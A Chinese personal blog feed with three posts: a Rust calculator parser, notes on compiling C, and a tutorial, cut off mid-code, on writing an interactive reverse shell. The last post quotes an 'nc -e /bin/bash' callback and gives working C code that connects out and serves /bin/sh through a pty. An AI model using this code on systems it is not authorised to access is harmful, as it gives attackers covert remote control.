            '</span>/</span>'</span> =></span> OperatorType</span>::</span>Div</span>,</span></span>
            _</span> =></span> return</span> Err</span>(</span>LexerError</span>::</span>LexError</span>)</span>,</span></span>
        }</span>;</span></span>
        tokens</span>.</span>push</span>(</span>Token</span>::</span>Operator</span>(</span>op</span>)</span>)</span>;</span></span>
        scanner</span>.</span>next</span>(</span>)</span>;</span></span>
    }</span></span>
    //</span> Number</span></span>
    '</span>0</span>'</span>..=</span>'</span>9</span>'</span> =></span> {</span></span>
        let</span> mut</span> buf</span> =</span> String</span>::</span>new</span>(</span>)</span>;</span></span>
        while</span> let</span> Some</span>(</span>ch</span>)</span> =</span> scanner</span>.</span>peek</span>(</span>)</span> {</span></span>
            if</span> !</span>(</span>'</span>0</span>'</span>..=</span>'</span>9</span>'</span>)</span>.</span>contains</span>(</span>&</span>ch</span>)</span> {</span></span>
                break</span>;</span></span>
            }</span></span>
            buf</span>.</span>push</span>(</span>ch</span>)</span>;</span></span>
            scanner</span>.</span>next</span>(</span>)</span>;</span></span>
        }</span></span>
        tokens</span>.</span>push</span>(</span>Token</span>::</span>Number</span>(</span></span>
            buf</span>.</span>parse</span>::</span><</span>i32</span>></span>(</span>)</span></span>
                .</span>map_err</span>(</span>|</span>_</span>|</span> LexerError</span>::</span>NumberFormatError</span>)</span>?</span>,</span></span>
        )</span>)</span></span>
    }</span></span>
    //</span> Bracket</span></span>
    '</span>(</span>'</span> |</span> '</span>)</span>'</span> =></span> {</span></span>
        let</span> br</span> =</span> match</span> ch</span> {</span></span>
            '</span>(</span>'</span> =></span> BracketType</span>::</span>Left</span>,</span></span>
            '</span>)</span>'</span> =></span> BracketType</span>::</span>Right</span>,</span></span>
            _</span> =></span> return</span> Err</span>(</span>LexerError</span>::</span>LexError</span>)</span>,</span></span>
        }</span>;</span></span>
        tokens</span>.</span>push</span>(</span>Token</span>::</span>Bracket</span>(</span>br</span>)</span>)</span>;</span></span>
        scanner</span>.</span>next</span>(</span>)</span>;</span></span>
    }</span></span>
    //</span> Skip blank</span></span>
    '</span> '</span> =></span> {</span></span>
        scanner</span>.</span>next</span>(</span>)</span>;</span></span>
    }</span></span>
    _</span> =></span> return</span> Err</span>(</span>LexerError</span>::</span>UnknownChar</span>)</span>,</span></span>
}</span></span></code></pre>语法分析</h2>
我们需要根据上下文无关文法来进行语法分析。下面是带优先级的算数表达式语法。可以看到这有 3 级别优先级，括号优先级最高，乘除第二，加减第三。为了给输入符号串推断出一个推导，我们选用自顶向下分析器，从语法树的根开始构造语法树。</p>
Goal   -> Expr</span></span>
Expr   -> Expr + Term</span></span>
        | Expr - Term</span></span>
        | Term</span></span>
Term   -> Term * Factor</span></span>
        | Term / Factor</span></span>
        | Factor</span></span>
Factor -> ( Expr )</span></span>
        | number</span></span></code></pre>

如果是处理编程语言中的一元运算符，得按照下面的文法进行处理。一元运算符优先级比 Factor 优先级低，比乘除优先级高。</p>
Goal   -> Expr</span></span>
Expr   -> Expr + Term</span></span>
        | Expr - Term</span></span>
        | Term</span></span>
Term   -> Term * Value</span></span>
        | Term / Value</span></span>
        | Value</span></span>
Value  -> || Factor</span></span>
        | Factor</span></span>
Factor -> ( Expr )</span></span>
        | number</span></span></code></pre></blockquote>
左递归</h3>
这个文法的第二个产生式可以一直往 Expr 非终结符推导，不断的递归下去，不能正确解析语法。</p>
Expr -> Expr</span></span>
Expr -> Expr Expr</span></span>
Expr -> Expr Expr Expr</span></span>
...</span></span></code></pre>
导致这种问题的原因是因为产生了左递归。所以通过类似下面文法的做法，消除左递归（产生右递归）。</p>
Fee -> Fee a  => Fee  -> b Fee'</span></span>
     | b         Fee' -> a Fee'</span></span>
                       | e</span></span></code></pre>
消除过左递归的文法如下：</p>
E  -> T E'</span></span>
E' -> + T E'</span></span>
    | - T E'</span></span>
    | ε</span></span>
T  -> F T'</span></span>
T' -> * F T'</span></span>
    | / F T'</span></span>
    | ε</span></span>
F  -> ( E )</span></span>
    | i</span></span></code></pre>回溯</h3>
如果语法分析器用了错误的产生式扩展 AST 的下边缘节点，语法分析树的下边缘和词法分析器返回的 Token 会出现不匹配的情况，这时候就得回溯回之前的状态，重新选择新的产生式子。</p>
例如在下面的产生式中，可能出现先选择了产生式 1，发现不匹配后又回退到 2。这种情况相比直接选择产生式 2 就浪费了时间。</p>
1 Expr   -> Expr + Term</span></span>
2         | Expr - Term</span></span>
3         | Term</span></span></code></pre>
下面是为了避免回溯所需要的相关集合。</p>
FIRST 集合：对于语法符号 $\alpha$ ，$FIRST( \alpha)$ 是从 $\alpha$ 推导出的语句开头可能出现的终结符集合。通过 FIRST 集前瞻一个符号来避免回溯，选择合适的语句，实现高效解析。</p>
FOLLOW 集合：对于非终结符 $\alpha$，$FOLLOW(\alpha)$ 是在语句中紧接 $\alpha$ 出现的单词的集合。通过 FOLLOW 集判断能不能将非终结符推导为 ε，来区分当前输入为合法输入还是语法错误。</p>
通过构造 FIRST+ 集，可以准确规定使得某个语法对自顶向下语法分析器无回溯条件。</p>
$$
FIRST^{+}(A\to \beta) =
\begin{cases}
FIRST(\beta)                & \text 如果 \epsilon \notin FIRST(\beta) \cr
FIRST(\beta) \cup FOLLOW(A) & \text 剩余情况 \cr
\end{cases}
$$</p>
代码实现</h3>
接下来就是编写递归下降语法分析器了。语法分析则是从 lexer 中不断的读取 Token，并使用递归下降进行解析。</p>
///</span> A recursive descent parser</span></span>
pub</span> struct</span> Parser</span> {</span></span>
    lexer</span>:</span> Lexer</span>,</span></span>
}</span></span>
</span>
impl</span> Parser</span> {</span></span>
    pub</span> fn</span> new</span>(</span>lexer</span>:</span> Lexer</span>)</span> -></span> Parser</span> {</span></span>
        Parser</span> {</span> lexer</span> }</span></span>
    }</span></span>
</span>
    pub</span> fn</span> parse</span>(</span>&</span>mut</span> self</span>)</span> -></span> Result</span><</span>Node</span>,</span> ParseError</span>></span> {</span></span>
        self</span>.</span>e</span>(</span>)</span></span>
    }</span></span>
    //</span> 省略</span></span>
}</span></span></code></pre>
接下来是代码中最长的部分，按照文法编写递归下降解析器。对于每个非终结符，只需按照产生式依次调用相应的函数即可进行相应的分析。对于终结符，可以直接对 Token 进行处理。在编写程序时，可以将当前步骤产生的 AST 节点传递给下一个函数继续处理，从而实现完整的构造 AST。</p>
在下面的代码可以看到处理 "E'" 非终结符的 equote</code> 函数，对应的产生式是 "E' -> +TE'|-TE'|ε"。在函数中 match arm 有 3 个 arm。第一个 arm 处理当前 Token 为 "+" 和 "-" 的情况，在这种情况下，继续调用 t</code>, equote</code> 函数进行处理。第二个 arm 则是看下当前 Token 是否在 FIRST+ 集合里，如果在的话，则说明当前语句处理结束。如果前 2 个 arm 都没有匹配上，说明输入有问题，返回错误。</p>
impl</span> Parser</span> {</span></span>
    pub</span> fn</span> parse</span>(</span>&</span>mut</span> self</span>)</span> -></span> Result</span><</span>Node</span>,</span> ParseError</span>></span> {</span></span>
        self</span>.</span>e</span>(</span>)</span></span>
    }</span></span>
</span>
    //</span> E -> TE'</span></span>
    fn</span> e</span>(</span>&</span>mut</span> self</span>)</span> -></span> Result</span><</span>Node</span>,</span> ParseError</span>></span> {</span></span>
        let</span> t</span> =</span> self</span>.</span>t</span>(</span>)</span>?</span>;</span></span>
        self</span>.</span>equote</span>(</span>t</span>)</span></span>
    }</span></span>
</span>
    //</span> E' -> +TE'|-TE'|ε</span></span>
    fn</span> equote</span>(</span>&</span>mut</span> self</span>,</span> val</span>:</span> Node</span>)</span> -></span> Result</span><</span>Node</span>,</span> ParseError</span>></span> {</span></span>
        //</span> Select sentence by looking for FIRST+</span></span>
        match</span> self</span>.</span>lexer</span>.</span>peek</span>(</span>)</span> {</span></span>
            //</span> E' -> +TE'|-TE'</span></span>
            Some</span>(</span>&</span>Token</span>::</span>Operator</span>(</span>ref</span> op</span> @</span> (</span>OperatorType</span>::</span>Plus</span> |</span> OperatorType</span>::</span>Sub</span>)</span>)</span>)</span> =></span> {</span></span>
                let</span> op</span> =</span> op</span>.</span>clone</span>(</span>)</span>;</span> //</span> Get op from reference</span></span>
                self</span>.</span>lexer</span>.</span>next</span>(</span>)</span>;</span></span>
                let</span> t</span> =</span> self</span>.</span>t</span>(</span>)</span>?</span>;</span></span>
                self</span>.</span>equote</span>(</span>Node</span>::</span>BinaryExpr</span> {</span></span>
                    op</span>,</span></span>
                    lhs</span>:</span> Box</span>::</span>new</span>(</span>val</span>)</span>,</span></span>
                    rhs</span>:</span> Box</span>::</span>new</span>(</span>t</span>)</span>,</span></span>
                }</span>)</span></span>
            }</span></span>
            //</span> E' -> ε</span></span>
            Some</span>(</span>&</span>Token</span>::</span>Bracket</span>(</span>BracketType</span>::</span>Right</span>)</span>)</span> |</span> None</span> =></span> Ok</span>(</span>val</span>)</span>,</span></span>
            _</span> =></span> Err</span>(</span>ParseError</span>::</span>Unmatch</span>)</span>,</span></span>
        }</span></span>
    }</span></span></code></pre>运算</h2>
这里对 AST 进行了 DFS 来计算 AST 的值。后面有空的话，可以实现个虚拟机来处理。</p>
///</span> Eval AST</span></span>
fn</span> eval</span>(</span>node</span>:</span> &</span>Node</span>)</span> -></span> i32</span> {</span></span>
    match</span> node</span> {</span></span>
        Node</span>::</span>Number</span>(</span>n</span>)</span> =></span> *</span>n</span>,</span></span>
        Node</span>::</span>UnaryExpr</span> {</span> op</span>,</span> child</span> }</span> =></span> {</span></span>
            let</span> child</span> =</span> eval</span>(</span>child</span>)</span>;</span></span>
            match</span> op</span> {</span></span>
                OperatorType</span>::</span>Plus</span> =></span> child</span>,</span></span>
                OperatorType</span>::</span>Sub</span> =></span> -</span>child</span>,</span></span>
                _</span> =></span> child</span>,</span></span>
            }</span></span>
        }</span></span>
        Node</span>::</span>BinaryExpr</span> {</span> op</span>,</span> lhs</span>,</span> rhs</span> }</span> =></span> {</span></span>
            let</span> lhs_ret</span> =</span> eval</span>(</span>lhs</span>)</span>;</span></span>
            let</span> rhs_ret</span> =</span> eval</span>(</span>rhs</span>)</span>;</span></span>
</span>
            match</span> op</span> {</span></span>
                OperatorType</span>::</span>Plus</span> =></span> lhs_ret</span> +</span> rhs_ret</span>,</span></span>
                OperatorType</span>::</span>Sub</span> =></span> lhs_ret</span> -</span> rhs_ret</span>,</span></span>
                OperatorType</span>::</span>Mul</span> =></span> lhs_ret</span> *</span> rhs_ret</span>,</span></span>
                OperatorType</span>::</span>Div</span> =></span> lhs_ret</span>.</span>checked_div</span>(</span>rhs_ret</span>)</span>.</span>unwrap_or</span>(</span>0</span>)</span>,</span></span>
            }</span></span>
        }</span></span>
    }</span></span>
}</span></span></code></pre>总结</h2>
最后放上代码 代码在这</a>。看下代码行数，可以看到只用了 300 行左右（带注视，空格）就完成了个基础的计算器。</p>

这个项目还值 7000 USD，血赚 233</p>
</blockquote>
$ scc</span></span>
───────────────────────────────────────────────────────────────────────────────</span></span>
Language                 Files     Lines   Blanks  Comments     Code Complexity</span></span>
───────────────────────────────────────────────────────────────────────────────</span></span>
Rust                         3       334       28        24      282          3</span></span>
TOML                         1         8        2         1        5          0</span></span>
gitignore                    1         2        0         0        2          0</span></span>
───────────────────────────────────────────────────────────────────────────────</span></span>
Total                        5       344       30        25      289          3</span></span>
───────────────────────────────────────────────────────────────────────────────</span></span>
Estimated Cost to Develop (organic) $7,337</span></span>
Estimated Schedule Effort (organic) 2.124802 months</span></span>
Estimated People Required (organic) 0.306786</span></span>
───────────────────────────────────────────────────────────────────────────────</span></span>
Processed 9429 bytes, 0.009 megabytes (SI)</span></span>
───────────────────────────────────────────────────────────────────────────────</span></span></code></pre>Refs</h2>

《编译器设计》第二版</li>
语法分析：LL(1)分析</a></li>
</ul>

知乎上的大佬们推荐的这本《编译器设计》比龙书更加通俗易懂，贴近现实，强烈推荐！</p>
</blockquote>


关于 C 语言编译的那些破事
2022-05-21T00:00:00+00:00
C 和 C++ 的编译是真的痛苦，会出现一堆离谱的问题。所以我特地写一篇文章讲一下这些破事，并且提供一些样例代码方便复制黏贴。</p>
编译过程简述</h2>
在网上能找到一堆的编译流程相关的博客，而且肯定比我讲的正确，所以这里我就简单概括下。</p>
现在很少有程序能只依赖与 C 标准库和系统 API 了，所以会有一堆的外部依赖库。要想编译成功，得让编译器和链接器都知道去哪找这些库，怎么链接上。于是就有了一堆的编译管理工具。像 CMake 和 Meson 是负责生成编译的脚本，make 和 ninja 则是负责执行编译任务，然后是 gcc 和 clang 将代码编译成目标文件，最后有 ld, gold, mold 将目标文件进行链接生成可执行文件。</p>
CMake -> make  -> gcc   -> ld   -> 可执行文件</span></span>
Meson    ninja    clang    gold</span></span>
Bazel    ...      zig cc   lld</span></span>
...               ...      mold</span></span>
                           ...</span></span></code></pre>编译系统</h2>
Meson</h3>
样例代码</p>
# 指定项目名称，使用语言，默认选项</span></span>
project('project name', 'cpp'</span></span>
        default_options : ['c_std=c11', 'cpp_std=c++11'])</span></span>
# 指定头文件位置</span></span>
incdir = include_directories('include')</span></span>
#（可选）使用 math 库</span></span>
cc = meson.get_compiler('c')</span></span>
m_dep = cc.find_library('m')</span></span>
#（可选）使用 `dependency` 寻找库依赖</span></span>
zdep = dependency('zlib', version: '>=1.2.8')</span></span>
#（可选）子目录</span></span>
subdir('tests')</span></span>
# 指定代码文件位置，头文件位置来生成可执行文件</span></span>
utils = ['src/logger.cpp', 'src/utils.cpp']</span></span>
# 可执行文件的相关设置</span></span>
executable('client', 'src/main_client.cpp', 'src/client.cpp', utils, </span></span>
           include_directories : incdir,</span></span>
           dependencies : m_dep</span></span>
           cpp_args: [],</span></span>
           c_args: [],</span></span>
           link_args : '')</span></span>
# 在 executable 函数中添加下面的设置可以编译 32 位，静态链接的程序</span></span>
#    cpp_args: ['-m32', '-static'],</span></span>
#    c_args: ['-m32', '-static'],</span></span>
#    link_args : '-m32'</span></span></code></pre>
跨平台编译配置文件</p>
[</span>binaries</span>]</span></span>
c</span> =</span> '</span>aarch64-linux-gnu-gcc</span>'</span></span>
cpp</span> =</span> '</span>aarch64-linux-gnu-g++</span>'</span></span>
ar</span> =</span> '</span>aarch64-linux-gnu-ar</span>'</span></span>
</span>
[</span>host_machine</span>]</span></span>
system</span> =</span> '</span>linux</span>'</span></span>
cpu_family</span> =</span> '</span>aarch64</span>'</span></span>
cpu</span> =</span> '</span>aarch64</span>'</span></span>
endian</span> =</span> '</span>little</span>'</span></span>
</span>
[</span>properties</span>]</span></span>
sys_root</span> =</span> '</span>/usr/aarch64-linux-gnu/</span>'</span></span></code></pre>
常用编译命令</p>
#</span> 生成编译所需文件</span></span>
meson</span> setup</span> builddir</span> -</span>-wipe</span></span>
#</span> Debug 编译</span></span>
meson</span> setup</span> -</span>-buildtype</span> debug</span> -</span>-reconfigure</span></span>
#</span> 编译</span></span>
meson</span> compile</span> -</span>C</span> builddir</span></span>
#</span> 跨平台编译</span></span>
meson</span> setup</span> -</span>-cross-file</span> $</span>跨平台编译配置文件</span>.ini</span> builddir</span></span></code></pre>
更多的内容参考 #refs</a></p>
CMake</h3>
样例代码</p>
# 指定项目名字，CMake 版本要求，C++ 版本要求</span></span>
project</span>(</span>project_name</span>)</span></span>
cmake_minimum_required</span>(</span>VERSION</span> 3.0)</span></span>
set</span>(CXX_STANDARD 11)</span></span>
</span>
# 使用 CMake 管理的库</span></span>
find_package</span>(OpenCV REQUIRED)</span></span>
include_directories</span>(</span>${OpenCV_INCLUDE_DIRS}</span>)</span></span>
link_directories</span>(</span>${OpenCV_LIBRARY_DIRS}</span>)</span></span>
</span>
# 使用由 pkg-config 管理的库</span></span>
find_package</span>(PkgConfig)</span></span>
pkg_search_module(LIBNOTIFY REQUIRED libnotify)</span></span>
include_directories</span>(</span>${LIBNOTIFY_INCLUDE_DIRS}</span>)</span></span>
</span>
# 指定头文件目录</span></span>
include_directories</span>(./include)</span></span>
# 扫描目录，获得目录下源代码位置</span></span>
aux_source_directory</span>(./src SRC)</span></span>
add_executable</span>(</span>name</span> ${SRC}</span>)</span></span>
# 链接上库</span></span>
target_link_libraries</span>(</span>${PROJECT_NAME}</span> ${OpenCV_LIBS}</span> ${LIBNOTIFY_LIBRARIES}</span>)</span></span></code></pre>
常用命令</p>
#</span> 编译</span></span>
cd</span> build</span> &&</span> cmake</span> ..</span></span>
#</span> Debug 编译</span></span>
cmake</span> -</span>DCMAKE_BUILD_TYPE=Debug</span> ..</span></span></code></pre>Makefile</h3>
Makefile 的可读性真的是灾难级别的，下面这篇文章图文并茂，讲的很好，推荐阅读！！！</p>
Makefile由浅入深--教程、干货</a></p>
库管理工具</h2>
pkg-config</h3>
选项</th> 作用</th> 样例</th></tr></thead>

--cflags</code></td> 查询这个库的所需要的 CFLAGS</td> pkg-config --cflags glib-2.0</code></td></tr>
--libs</code></td> 查询链接上这个库的所需要的选项</td> pkg-config --libs zlib</code></td></tr>
–-list-all</code></td> 列出所有的，可以被查找到的库</td> pkg-config –-list-all | rg $库</code></td></tr>
</tbody></table>
设置 pkg-config 搜索路径</p>
export</span> PKG_CONFIG_PATH</span>=</span>/</span>usr</span>/</span>lib</span>/</span>pkgconfig</span>/:</span>$</span>PKG_CONFIG_PATH</span></span></code></pre>
官方文档参考 #refs</a></p>
编译器</h2>
GCC编译选项</h3>
链接</h4>
选项</th> 作用</th> 样例</th></tr></thead>

-l$library</code></td> 链接上某个库</td> -lm</code></td></tr>
-static</code></td> 静态链接库</td> </td></tr>
-static-libstdc++</code></td> 静态链接libstdc++</td> </td></tr>
-Wl,$option</code></td> 将链接选项传递给 ld</td> </td></tr>
</tbody></table>
目录搜索</h4>
选项</th> 作用</th> 样例</th></tr></thead>

-I $dir</code></td> （大写的i）头文件搜索路径</td> -I ./include</code></td></tr>
-L$dir</code></td> 库文件搜索路径</td> -L./lib</code></td></tr>
--sysroot=$dir</code></td> 头文件和库的搜索路径</td> --sysroot=/usr</code></td></tr>
</tbody></table>
使用 zig cc 进行跨平台编译</h3>
zig cc 真是跨平台编译救星，下面演示下常见命令。</p>
#</span> 显示支持的 libc</span></span>
zig</span> targets</span> |</span> jq</span> .libc</span></span>
#</span> 直接编译</span></span>
zig</span> cc</span> $</span>文件</span> -</span>target</span> $</span>目标</span></span>
zig</span> cc</span> hello.c</span> -</span>target</span> i386-linux-musl</span> -</span>static</span></span>
#</span> 让 make 等工具使用</span></span>
make</span> CC=</span>"</span>zig cc</span>"</span> CXX=</span>"</span>zig c++</span>"</span></span></code></pre>
参考文章 #refs</a></p>
环境配置</h2>
Docker/Podman</h3>
Ubuntu image，添加 32 位支持，安装编译工具链，库和 CMake</p>
FROM</span> ubuntu:18.04</span></span>
</span>
RUN</span> dpkg --add-architecture i386 && \</span></span>
    apt update && \</span></span>
    apt install -y gcc-multilib g++-multilib build-essential cmake</span></span></code></pre>
CentOS image，安装编译工具，相关的库和 meson, ninja</p>
FROM</span> amd64/centos:7</span></span>
</span>
RUN</span> yum install python3 \</span></span>
        glibc-devel.i686 glibc-devel.x86_64 \</span></span>
        libgcc.i686 libgcc.x86_64 \</span></span>
        libstdc++-devel.i686 libstdc++-devel \</span></span>
        glibc-static glibc-static.i686 \</span></span>
        libstdc++-static libstdc++-static.i686 -y && \</span></span>
    yum group install </span>"</span>Development Tools</span>"</span> -y</span></span>
</span>
RUN</span> python3 -m pip install cmake meson ninja -i https://opentuna.cn/pypi/web/simple</span></span></code></pre>
使用容器进行编译。设置成运行完后删除，并将当前目录映射到 "/src" 目录下，启动名字为 $容器名字</code> 的容器。</p>
podman</span> run</span> -</span>-rm</span> -</span>v</span> "</span>$(</span>pwd</span>)</span>:/src</span>"</span> -</span>it</span> $</span>容器名字</span></span></code></pre>Glibc symver</h3>
有时候在新系统上编译的可执行文件，在旧系统上运行时，会产生 "找不到函数" 错误。这时候可以通过指定 symver 来进行兼容旧版本。具体细节可以参考 #Refs</a> 中的 "All about symbol versioning"，或者使用 "wheybags/glibc_version_header" 这个项目。</p>
__asm__</span>(</span>"</span>.symver fopen,fopen@GLIBC_2.2.5</span>"</span>)</span>;</span></span></code></pre>Refs</h2>

https://gcc.gnu.org/onlinedocs/gcc-11.3.0/gcc/</a></li>
https://www.freedesktop.org/wiki/Software/pkg-config</a></li>
https://mesonbuild.com/howtox.html</a></li>
https://mesonbuild.com/Meson-sample.html</a></li>
https://andrewkelley.me/post/zig-cc-powerful-drop-in-replacement-gcc-clang.html</a></li>
All about symbol versioning</a></li>
https://github.com/wheybags/glibc_version_header</a></li>
</ul>


写一个可交互的反弹 Shell
2022-05-02T19:19:57+08:00
在网上能看到一堆的反弹 Shell 方法，最常见的就是先用 nc -e /bin/bash $控制机IP $控制机端口</code> 弹出一个 Shell，然后再用 python3 -c 'import pty; pty.spawn("/bin/bash")'</code> 这样来升级成交互式 Shell。这样的话得保证环境里有 nc + python，或者得在被控机上下载多个文件。这样的话，还不如直接自己写一个 Shell 呢 233。</p>
“可交互 Shell” 的原理</h2>
现在常见的“终端模拟器”，例如 KDE 的 Konsole, MACos 上的 iterm，服务器上的 SSH，都是使用 "pty" 来实现的。而我们反弹的 Shell 则不一样，所以无法交互。</p>
而 pty 则是模拟终端的设备。平时使用的终端模拟器是和 pty master 进行沟通，而里面的 shell 是和 pty slave 进行沟通，两者通过 pty 进行沟通。</p>
终端模拟器 <=> | pty master | pty | pty slave | <=> shell</span></span></code></pre>
所以我们的实现也很简单，通过 socket 将被控端的 master 和控制端连接起来就好了。</p>
终端模拟器 <=> 控制端 <=(socket 通信)=> 被控端 <=> | pty master | pty | pty slave | <=> shell</span></span></code></pre>代码实现</h2>
首先是导入相关文件，"pty.h" 包含 pty 相关函数的定义，而 "select.h" 则是用来处理异步通信的。</p>
#</span>include</span> <</span>pty.h</span>></span></span>
#</span>include</span> <</span>sys/select.h</span>></span></span>
#</span>include</span> <</span>unistd.h</span>></span></span>
</span>
#</span>include</span> <</span>stdio.h</span>></span></span>
#</span>include</span> <</span>stdlib.h</span>></span></span>
</span>
#</span>include</span> "</span>util.h</span>"</span></span></code></pre>
被控端代码很简单，通过传入的 host</code> 和 port</code> 创建 socket 连接，然后通过 forkpty</code> 创建 pty，在父进程中进行 socket 和子进程中的通信。</p>
需要注意的是 forkpty</code> 函数，在 FreeBSD 的 man</code> 手册的说明如下</p>
The  forkpty()  function  combines  openpty(),  fork(2),  and  login_tty() to create a new</span></span>
process operating in a pseudoterminal.  A file descriptor referring to master side of  the</span></span>
pseudoterminal  is  returned  in amaster.  If name is not NULL, the buffer it points to is</span></span>
used to return the filename of the slave.  The termp and winp arguments, if not NULL, will</span></span>
determine the terminal attributes and window size of the slave side of the pseudoterminal.</span></span></code></pre>
简单翻译就是创建一对 pty，并且 fork 出子进程，然后将 master fd 和 pty 连接起来，将子进程的输入和输出和 slave fd 连接起来。这样的话，父进程只要通过 master fd 就可以和处于 pty slave 处的子进程进行沟通。</p>
int</span> main</span>(</span>int</span> argc</span>,</span> char</span> *</span>*</span>argv</span>,</span> char</span> *</span>*</span>envp</span>)</span> {</span></span>
  if</span> (</span>argc </span><</span> 3</span>)</span> {</span></span>
    printf</span>(</span>"</span>Usage: </span>%s</span> [host] [port]</span>\n</span>"</span>,</span> argv</span>[</span>0</span>]</span>)</span>;</span></span>
    return</span> -</span>1</span>;</span></span>
  }</span></span>
  int</span> port </span>=</span> atoi</span>(</span>argv</span>[</span>2</span>]</span>)</span>;</span></span>
  int</span> socket_fd </span>=</span> 0</span>,</span> master_fd </span>=</span> 0</span>;</span></span>
  if</span> (</span>(</span>socket_fd </span>=</span> get_socket_connect</span>(</span>argv</span>[</span>1</span>]</span>,</span> port</span>)</span>)</span> <=</span> 0</span>)</span> {</span></span>
    return</span> -</span>2</span>;</span></span>
  }</span></span>
  //</span> Use forkpty to handle communication between pty master and socket</span></span>
  int</span> pid </span>=</span> forkpty</span>(</span>&</span>master_fd</span>,</span> NULL</span>,</span> NULL</span>,</span> NULL</span>)</span>;</span></span>
  if</span> (</span>pid </span><</span> 0</span>)</span> {</span></span>
    return</span> -</span>3</span>;</span></span>
  }</span> else</span> if</span> (</span>pid </span>!=</span> 0</span>)</span> {</span></span>
    //</span> Parent</span></span>
    copy_loop</span>(</span>master_fd</span>,</span> socket_fd</span>)</span>;</span></span>
  }</span> else</span> {</span></span>
    //</span> Child</span></span>
    execve</span>(</span>"</span>/bin/sh</span>"</span>,</span> NULL</span>,</span> NULL</span>)</span>;</span></span>
    exit</span>(</span>0</span>)</span>;</span></span>
  }</span></span>
  return</span> 0</span>;</span></span>
}</span></span></code></pre>
下面的代码则是在两个 fd 之间互相复制内容。通过 select</code> 函数判断哪个 fd 可读，然后将可读 fd 里的内容输出到另一个 fd 里。</p>
static</span> int</span> copy_loop</span>(</span>int</span> fd1</span>,</span> int</span> fd2</span>)</span> {</span></span>
  plog</span>(</span>"</span>%d</span>, </span>%d</span>"</span>,</span> fd1</span>,</span> fd2</span>)</span>;</span></span>
  for</span> (</span>;</span>;</span>)</span> {</span></span>
    fd_set set</span>;</span></span>
    FD_ZERO</span>(</span>&</span>set</span>)</span>;</span></span>
    FD_SET</span>(</span>fd1</span>,</span> &</span>set</span>)</span>;</span></span>
    FD_SET</span>(</span>fd2</span>,</span> &</span>set</span>)</span>;</span></span>
    if</span> (</span>select</span>(</span>max</span>(</span>fd1</span>,</span> fd2</span>)</span> +</span> 1</span>,</span> &</span>set</span>,</span> NULL</span>,</span> NULL</span>,</span> NULL</span>)</span> <=</span> 0</span>)</span> {</span></span>
      return</span> -</span>2</span>;</span></span>
    }</span></span>
    int</span> read_fd </span>=</span> 0</span>,</span> write_fd </span>=</span> 0</span>;</span></span>
    if</span> (</span>FD_ISSET</span>(</span>fd1</span>,</span> &</span>set</span>)</span>)</span> {</span></span>
      read_fd </span>=</span> fd1</span>;</span></span>
      write_fd </span>=</span> fd2</span>;</span></span>
    }</span> else</span> if</span> (</span>FD_ISSET</span>(</span>fd2</span>,</span> &</span>set</span>)</span>)</span> {</span></span>
      read_fd </span>=</span> fd2</span>;</span></span>
      write_fd </span>=</span> fd1</span>;</span></span>
    }</span></span>
    int</span> read_bytes </span>=</span> copy_data</span>(</span>read_fd</span>,</span> write_fd</span>)</span>;</span></span>
    if</span> (</span>read_bytes </span><</span> 0</span>)</span> {</span></span>
      return</span> read_bytes</span>;</span></span>
    }</span></span>
  }</span></span>
}</span></span></code></pre>
而控制端的代码看起来会比较奇怪。首先是打开了 /proc/self/fd/0</code>，可以看到这是指向了 /dev/pts/1</code>，即打开当前的 pty。</p>
~</span>/d/chenx6.github.io </span>></span> ls -la /proc/self/fd</span></span>
总用量</span> 0</span></span>
dr-x------</span> 2</span> chenx</span> chenx</span>  0</span>  5月</span>  2</span> 19:47</span> .</span></span>
dr-xr-xr-x</span> 9</span> chenx</span> chenx</span>  0</span>  5月</span>  2</span> 19:47</span> ..</span></span>
lrwx------</span> 1</span> chenx</span> chenx</span> 64</span>  5月</span>  2</span> 19:47</span> 0</span> -</span>></span> /dev/pts/1</span></span>
lrwx------</span> 1</span> chenx</span> chenx</span> 64</span>  5月</span>  2</span> 19:47</span> 1</span> -</span>></span> /dev/pts/1</span></span>
lrwx------</span> 1</span> chenx</span> chenx</span> 64</span>  5月</span>  2</span> 19:47</span> 2</span> -</span>></span> /dev/pts/1</span></span>
lr-x------</span> 1</span> chenx</span> chenx</span> 64</span>  5月</span>  2</span> 19:47</span> 3</span> -</span>></span> /proc/1091/fd</span></span>
lr-x------</span> 1</span> chenx</span> chenx</span> 64</span>  5月</span>  2</span> 19:47</span> 51</span> -</span>></span> anon_inode:inotify</span></span></code></pre>
然后是终端的设置。对 c_lflag</code> 本地模式进行设置，设置为不回显，uncanonical mode。然后是对 c_cc</code> 特殊字符设置不处理 ”^C / ^Z / ^\“。</p>
最后就是创建 socket 连接，复制数据(和被控端类似，区别请见末尾的文件)。当复制结束时则恢复回原本的终端设置。</p>
#</span>include</span> <</span>arpa/inet.h</span>></span></span>
#</span>include</span> <</span>fcntl.h</span>></span></span>
#</span>include</span> <</span>pty.h</span>></span></span>
#</span>include</span> <</span>sys/select.h</span>></span></span>
#</span>include</span> <</span>sys/types.h</span>></span></span>
#</span>include</span> <</span>termios.h</span>></span></span>
#</span>include</span> <</span>unistd.h</span>></span></span>
</span>
#</span>include</span> <</span>stdio.h</span>></span></span>
#</span>include</span> <</span>stdlib.h</span>></span></span>
</span>
#</span>include</span> "</span>util.h</span>"</span></span>
</span>
int</span> main</span>(</span>)</span> {</span></span>
  //</span> PTY</span></span>
  int</span> pty_fd </span>=</span> open</span>(</span>"</span>/proc/self/fd/0</span>"</span>,</span> O_RDWR</span>)</span>;</span></span>
  struct</span> termios terminal</span>,</span> origin_terminal</span>;</span></span>
  tcgetattr</span>(</span>pty_fd</span>,</span> &</span>terminal</span>)</span>;</span></span>
  origin_terminal </span>=</span> terminal</span>;</span></span>
  //</span> turn off echo, uncanonical mode</span></span>
  terminal</span>.</span>c_lflag</span> &=</span> ~</span>ECHO</span>;</span></span>
  terminal</span>.</span>c_lflag</span> &=</span> ~</span>ICANON</span>;</span></span>
  //</span> Don't handle ^C / ^Z / ^</span>\</span></span>
  terminal.c_cc[VINTR] = 0;</span></span>
  terminal</span>.</span>c_cc</span>[</span>VQUIT</span>]</span> =</span> 0</span>;</span></span>
  terminal</span>.</span>c_cc</span>[</span>VSUSP</span>]</span> =</span> 0</span>;</span></span>
  tcsetattr</span>(</span>pty_fd</span>,</span> TCSANOW</span>,</span> &</span>terminal</span>)</span>;</span></span>
</span>
  //</span> Socket</span></span>
  int</span> listen_fd </span>=</span> get_socket_listen</span>(</span>"</span>0.0.0.0</span>"</span>,</span> 8888</span>)</span>;</span></span>
  socklen_t</span> s</span>;</span></span>
  struct</span> sockaddr accepted_addr</span>;</span></span>
